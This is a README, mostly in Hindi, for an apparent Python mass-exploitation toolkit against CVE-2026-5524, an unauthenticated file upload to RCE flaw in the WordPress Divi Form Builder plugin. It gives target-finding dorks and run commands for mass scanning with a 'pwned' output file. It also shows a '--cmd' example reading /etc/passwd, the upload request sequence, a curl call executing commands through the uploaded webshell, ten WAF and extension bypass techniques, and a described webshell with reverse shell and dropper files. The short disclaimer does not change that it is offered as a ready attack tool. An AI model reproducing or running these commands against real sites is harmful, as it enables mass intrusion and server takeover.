
CVE-2026-5524 के लिए Python मास-एक्सप्लॉइट टूलकिट, जो WordPress Divi Form Builder प्लगइन में एक अनऑथेंटिकेटेड फ़ाइल अपलोड RCE है, जिसमें webshell अपलोड और कमांड निष्पादन शामिल है।
CVE-2026-5524 के लिए मास एक्सप्लॉइट टूलकिट, जो WordPress प्लगइन Divi Form Builder <= 5.1.8 में एक अनधिकृत मनमाना फ़ाइल अपलोड भेद्यता है जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाती है।
| Field | Value |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | Divi Form Builder <= 5.1.8 |
| Patched | 5.1.9 |
| Type | Unauthenticated File Upload to RCE |
| Researcher | 0xd4rk5id3 - EnvoraSec |
WordPress के लिए Divi Form Builder प्लगइन में एक अनधिकृत मनमाना फ़ाइल अपलोड भेद्यता है। do_image_upload() हैंडलर उपयोगकर्ता-नियंत्रित acceptFileTypes POST पैरामीटर को सीधे फ़ाइल एक्सटेंशन को मान्य करने के लिए उपयोग किए जाने वाले रेगुलर एक्सप्रेशन में पास करता है। phtml जैसा मान प्रदान करके, एक हमलावर प्लगइन के .htaccess नियम को बायपास कर सकता है जो केवल .php एक्सटेंशन को ब्लॉक करता है और PHP-निष्पादन योग्य एक्सटेंशन (.phtml, .phar, .php5, .php7, और समान) के साथ एक वेबशेल अपलोड कर सकता है।
एक बार फ़ाइल /wp-content/uploads/de_fb_uploads/ में पहुँच जाने के बाद, Apache इसे PHP के रूप में निष्पादित करता है, जिससे हमलावर को वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड एक्ज़ीक्यूशन प्राप्त होता है।
यह समस्या Divi Form Builder 5.1.9 में ठीक कर दी गई है।
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
आवश्यकताएँ: Linux, macOS, या WSL पर Python 3.8 या नया।
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
WAF (NinjaFirewall, Wordfence, ModSecurity) के पीछे या कठोर Apache या nginx कॉन्फ़िगरेशन वाले लक्ष्यों के लिए।
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
सफल अपलोड के बाद, स्क्रिप्ट तुरंत एक कमांड निष्पादित कर सकती है या इंटरैक्टिव शेल में प्रवेश कर सकती है।
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
भेद्य हैंडलर बिना सैनिटाइज़ेशन के उपयोगकर्ता इनपुट से एक regex बनाता है।
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
acceptFileTypes=phtml भेजकर, परिणामी regex /\.(phtml)$/i .phtml में समाप्त होने वाले फ़ाइलनामों से मेल खाता है, भले ही प्लगइन की अपनी .htaccess फ़ाइल केवल .php एक्सटेंशन को ब्लॉक करती है। Apache तब अपलोड की गई फ़ाइल को PHP के रूप में निष्पादित करता है, जिससे रिमोट कोड एक्ज़ीक्यूशन उत्पन्न होता है।
उस पृष्ठ को क्रॉल करें जिसमें Divi Form Builder फ़ॉर्म एम्बेड है (/, /contact, /quote, आदि)। Varnish, WP Rocket, और अन्य पृष्ठ कैश को हराने के लिए ?nocache=<random> पैरामीटर जोड़ें जो अन्यथा एक पुराना nonce प्रदान करेंगे।
स्थानीयकृत JavaScript ऑब्जेक्ट से fb_nonce मान निकालें:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
/wp-admin/admin-ajax.php पर एक multipart फ़ॉर्म POST करें:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
JSON प्रतिक्रिया से फ़ाइल URL पढ़ें:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
base64 एन्कोडेड कमांड के साथ शेल का अनुरोध करें:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
स्क्रिप्ट प्रत्येक तकनीक को प्राथमिकता क्रम में आज़माती है और, जब --aggressive सेट होता है, तो पहले अपलोड के सफलता की रिपोर्ट के बाद भी प्रत्येक को आज़माती है।
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
यह टूल शैक्षिक उद्देश्यों के लिए और अधिकृत पेनेट्रेशन टेस्टिंग एंगेजमेंट के दौरान उपयोग के लिए प्रदान किया गया है। स्वीकार्य उपयोग के उदाहरणों में शामिल हैं:
उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, लगभग हर क्षेत्राधिकार में अवैध है और सख्ती से निषिद्ध है। लेखक इस कोड के दुरुपयोग का समर्थन नहीं करता और न ही इसकी जिम्मेदारी लेता है।
J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)
संभावित प्रासंगिक कानूनों में इंडोनेशिया का UU ITE, संयुक्त राज्य अमेरिका का Computer Fraud and Abuse Act, यूरोपीय संघ Cybercrime Convention, और अन्यत्र समकक्ष कानून शामिल हैं। संदेह होने पर, पहले लिखित प्राधिकरण प्राप्त करें।
केवल शैक्षिक उपयोग। उपयोग की पूरी शर्तों के लिए disclaimer अनुभाग देखें।
| Flag | Description |
|---|
-u URL | एकल लक्ष्य URL |
-l FILE | लक्ष्य सूची वाली फ़ाइल, प्रति पंक्ति एक URL |
-t N | समवर्ती थ्रेड्स की संख्या (डिफ़ॉल्ट 10) |
--timeout N | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट 15) |
-o FILE | परिणामों को JSONL आउटपुट फ़ाइल में सहेजें |
--proxy URL | HTTP प्रॉक्सी के माध्यम से ट्रैफ़िक रूट करें |
--nonce HASH | मैन्युअल रूप से प्रदान किया गया nonce उपयोग करें, ऑटोडिटेक्शन छोड़ें |
--ext EXT | पूरी बायपास सूची के बजाय एकल एक्सटेंशन बाध्य करें |
--shell | सफलता पर इंटरैक्टिव RCE शेल में प्रवेश करें (केवल एकल लक्ष्य) |
--cmd CMD | लक्ष्य पर एक कमांड निष्पादित करें, फिर बाहर निकलें |
--shell-file FILE | अंतर्निहित के बजाय कस्टम शेल पेलोड अपलोड करें |
--no-verify | अपलोड के बाद RCE सत्यापन चरण छोड़ें |
--strict-verify | झूठे सकारात्मक को फ़िल्टर करने के लिए पुष्टि करें कि शेल URL HTTP 200 लौटाता है |
--user-ini | PHP-FPM वातावरण के लिए .user.ini ड्रॉपर अपलोड करें |
--htaccess | Apache वातावरण के लिए .htaccess पुनः-सक्षमकर्ता अपलोड करें |
--aggressive | प्रत्येक उपलब्ध बायपास तकनीक सक्षम करें |
--null-byte | null byte और डबल एक्सटेंशन प्रयास शामिल करें |
--path-traversal | /uploads/YYYY/MM/ उपनिर्देशिकाओं में अपलोड करने का प्रयास करें |
--debug | निदान के लिए कच्ची HTTP प्रतिक्रियाएँ प्रिंट करें |
| # | Technique | Targets |
|---|
| 1 | वैकल्पिक PHP एक्सटेंशन .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | प्लगइन .htaccess नियम जो केवल .php को ब्लॉक करता है |
| 2 | केस भिन्नता .PHTML, .PHP5, .PhTmL | केस-संवेदनशील WAF हस्ताक्षर (NinjaFirewall) |
| 3 | डबल एक्सटेंशन .phtml.jpg, .php.jpg | Apache mod_mime कंटेंट-नेगोशिएशन विचित्रताएँ |
| 4 | Null byte .php%00.jpg, .phtml%00.txt | पुराने PHP संस्करण (5.3.4 से कम) और कुछ पार्सर |
| 5 | अनुगामी स्थान या बिंदु .php , .php. | Windows IIS और पुराने Apache संस्करण |
| 6 | Content-Type स्पूफिंग application/octet-stream | WAF जो multipart Content-Type हेडर पर कुंजी करते हैं |
| 7 | एक वास्तविक .htaccess अपलोड करें जो .gif, .png, .jpg, .txt, .html, आदि के लिए PHP पुनः सक्षम करता है | AllowOverride All वाले Apache सर्वर |
| 8 | auto_prepend_file के साथ एक .user.ini अपलोड करें | PHP-FPM वातावरण |
| 9 | multipart boundary हेरफेर के माध्यम से फ़ाइलनाम इंजेक्शन | प्रॉक्सी और WAF जो अनुरोध बॉडी को पुनः पार्स करते हैं |
| 10 | फ़ाइलनाम में पथ ट्रैवर्सल ../shell.phtml | प्लगइन निर्देशिका प्रतिबंध |
| Component | Technology |
|---|
| Language | Python 3.8+ |
| HTTP client | requests |
| TLS handling | स्व-हस्ताक्षरित प्रमाणपत्रों के लिए असुरक्षित मोड में urllib3 |
| Concurrency | मास स्कैनिंग के लिए concurrent.futures.ThreadPoolExecutor |
| Parsing | nonce निष्कर्षण के लिए re, प्रतिक्रिया प्रबंधन के लिए json |
| Encoding | वेबशेल कमांड पैरामीटर के लिए base64 |
| CLI | 19 कॉन्फ़िगर करने योग्य फ़्लैग के साथ argparse |
| Component | Technology |
|---|
| Language | PHP 7.0+ |
| Execution functions | system(), shell_exec(), proc_open(), passthru(), popen() |
| Front end | सादा HTML फ़ॉर्म, कोई JavaScript फ़्रेमवर्क नहीं |
| Features | फ़ाइल ब्राउज़र, कमांड निष्पादन, डेटाबेस एक्सेस, रिवर्स शेल, स्व-इंस्टॉलिंग .htaccess और .user.ini |
| Size | लगभग 16 KB |
| Bypass layers | छह स्वतंत्र निष्पादन पथ और एन्कोडेड पेलोड |